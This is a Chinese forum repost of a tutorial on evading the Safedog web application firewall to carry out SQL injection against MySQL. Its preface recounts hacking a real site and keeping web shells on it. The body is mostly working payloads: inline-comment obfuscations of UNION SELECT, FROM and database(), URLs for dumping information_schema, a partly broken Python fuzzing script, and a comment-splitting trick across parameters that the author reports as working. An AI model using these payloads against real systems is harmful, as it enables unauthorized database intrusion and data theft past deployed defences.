设为首页收藏本站

安徽论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 73218|回复: 0

绕过安全狗进行sql注入(MySQL)

[复制链接]

110

主题

0

回帖

342

积分

中级会员

Rank: 3Rank: 3

积分
342
发表于 2022-3-26 10:35:25 | 显示全部楼层 |阅读模式
网站内容均来自网络,本站只提供信息平台,如有侵权请联系删除,谢谢!

看我如何一步一步绕过安全狗

前言

前几天渗透了一个站,由于没有做好善后工作被管理员发现了,再次访问那个站的时候,管理员已经删了大马,装上了网站安全狗(我估计大马应该是安全狗删除的,毕竟那个管理员真的太懒了,我的小马还在,并且居然菜刀还可以连接),为了给这个管理员增强点安全防护意识,我就开始研究起了安全狗的绕过。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wP1YRUlZ-1594220610175)(http://pbr6eymqa.bkt.clouddn.com/blog/180730/6jgDlDibDh.jpg?imageslim)]
实验环境



  • 网站安全狗v4.0
  • apache 2.4.27
  • php 5.6
  • MySQL 5.7
    我们需要到安全狗官网上去下载最新版的网站安全狗(我用的apache版),将防护等级调到最高,这也是各个网站管理员经常做的事
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lMiKC1fT-1594220610180)(http://pbr6eymqa.bkt.clouddn.com/blog/180730/IdEECeJdA7.png?imageslim)]
判断注入点

首先是判断注入点,我们通常使用的and 1=1和and 1=2都会被拦截的,贴图如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LWhsizYs-1594220610188)(http://pbr6eymqa.bkt.clouddn.com/blog/180730/lL1hAd2j84.png?imageslim)]
真是熟悉的界面!
试了一下能想到的方法(测试点是一个单引号的字符型注入,来自sqlilabs)
payload结果’数据库报错,不拦截’ and 1=1–+拦截’ and sss不拦截’ sss 1=1不拦截’ and(1=1)拦截可见如果是字符型的报错注入其实就很好判断,直接看是否报错_,如果想要通过and预算福判断就需要想办法绕过正则,首先and可以替换为**&&**,我们试一下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gb5hdaE8-1594220610191)(http://pbr6eymqa.bkt.clouddn.com/blog/180730/bJG1CDKbJi.png?imageslim)]
还是被拦截了,那我们再想办法把1=1给替换掉,只要能表示真假值就达到我们的目的了,我首先想到的就是字符(字符表示真),但是也会被拦截。
payload报错‘%26%26’a’–+拦截'%26%261–+拦截'%26%26true不拦截所以可以用
  1. && true&& false
复制代码
绕过拦截。
当然除了用and判断注入点,我们还可以使用or不是吗?但是or不出意料是被拦截了的,所以我就用了xor与**||**来代替or,但是经过测试||运用不当是会被拦截的。以下是测试结果
payload报错'xor 1–+不拦截'xor true–+不拦截'|| 1拦截’ ||(1)不拦截’ || true不拦截我想上面的这些方式足够用一段时间了吧!
判断字段数

接下来就是常用的order by语句的绕过了,我看freebuf有个哥们写了一篇文章,直接使用大小写就绕过了,而且他也是安全狗v4.0(他今年(2018)五月份测试的),我测试的时候大小写直接被毫不留情的拦截了,于是稀里糊涂测试了一番,返现直接利用mysql的内联注释直接就过了!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xAxZsc0y-1594220610192)(http://pbr6eymqa.bkt.clouddn.com/blog/180730/AFK7CBCajh.png?imageslim)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kTFviAwf-1594220610196)(http://pbr6eymqa.bkt.clouddn.com/blog/180730/5K9lBe3ieD.png?imageslim)]
payload报错'/*!order*//*!by*/1–+不拦截  注:据说有些版本的order by是直接不过滤的,这里也是通过很简单的内联注释就过了,看了安全狗并不在意order by,大多数的waf都是把注意力放在了能爆出数据的union select from上面
  union select from

还是老规矩,先用手工试一下哪些地方可以fuzz:
payload报错union select拦截xunion select拦截unionx select不拦截union x select不拦截union xselect不拦截union selectx拦截经过一番测试,发现我们可以在union与select之间做文章,即我们的fuzz内容是:
  1. /*!union {fuzz} select*/
复制代码
按照网上现有的词库(常规的),写了一个fuzz脚本
  1. #! /usr/bin/env python#-*- coding:utf-8 -*-import requestsfrom bs4 import BeautifulSoupimport randomFuzz_a = ['/*!','*/','/**/','/','?','~','!','.','%','-','*','+','=']Fuzz_b = ['']Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%0i','%0j']FUZZ = Fuzz_a+Fuzz_b+Fuzz_curl = "http://localhost/sqlilabs/Less-1/?id=1' /*!union{0}select*/12345,2,3%23"headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}def fuzz(num):        string = []        payload = string([string.append(random.choice(FUZZ)) for i in num])if __name__ == "__main__":        while True:                #payload = ''                # for i in range(5):                #         payload += random.choice(FUZZ)                for a in FUZZ:                        for b in FUZZ:                                for c in FUZZ:                                        for d in FUZZ:                                                for e in FUZZ:                                                        payload = a+b+c+d+e                url = url.format(payload)                data = requests.get(url,headers=headers)                if 'Password' in data.text:                        print '
  2. [*]payload:'+url+u'成功过狗!'                        file = open('payload.txt','a')                        file.write(url+'\n ')                        file.close()                else:                        print 'Nothing!!!'
复制代码
不知道为什么速度及其慢,跑了一晚上啥也没跑出来,只有再去网上查查资料,看看以往的方法是否可行(这种东西一般是见光死,放出来基本上就没用了)
尽管如此还是被我发现了一些:
  1. http://127.0.0.1/index.php?id=1/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/ 1,2,3
复制代码
上述方法经过我在v4.0上测试,成功绕过。当然,我们在注入的时候需要用到union select from,这里如果直接加上from,肯定是会被过滤掉的(毕竟安全狗也不傻),所以,我们只要在from与表名之间按照union 与select之间同样的规则变形就可以绕过了,例如:
  1. http://localhost/sqlilabs/Less-1/?id=1%27/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/%201,2,3/*!from/*@--|*//*@--|*//*@--|*/--+%0ausers*/--+
复制代码
在实战中我们还会遇到需要查询database()等函数的情况,这也需要绕过,同样可以利用前面的规则绕过,只需要把union select 分别替换为database 与 ()
  1. http://localhost/sqlilabs/Less-1/?id=1%27/*!union/*@--|*//*@--|*//*@--|*/--+%0aselect*/%20/*!database/*@--|*//*@--|*//*@--|*/--+%0a()*/,schema_name,3/*!from/*@--|*//*@--|*//*@--|*/--+%0ainformation_schema.schemata*/--+
复制代码
上面的语句应该够用了吧。
但是是不是感觉上面的太复杂了?接下来才是重头戏,根据多次的测试,我发现安全狗会把/**/之间的内容直接忽略掉,所以就很有意思了,例如如下链接id存在注入:
  1. http://xxxx/index.php?id=1
复制代码
那么我们构造这么一个请求:
  1. http://xxxx/index.php?a=/*&id=1 union select schema_name from information_schema.schemata--+*/
复制代码
你猜猜会发生什么?哈哈,截止发文(2018/7/31)该方法有效!


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明
1. 本论坛所提供的信息均来自网络,本网站只提供平台服务,所有账号发表的言论与本网站无关。
2. 其他单位或个人在使用、转载或引用本文时,必须事先获得该帖子作者和本人的同意。
3. 本帖部分内容转载自其他媒体,但并不代表本人赞同其观点和对其真实性负责。
4. 如有侵权,请立即联系,本网站将及时删除相关内容。
懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表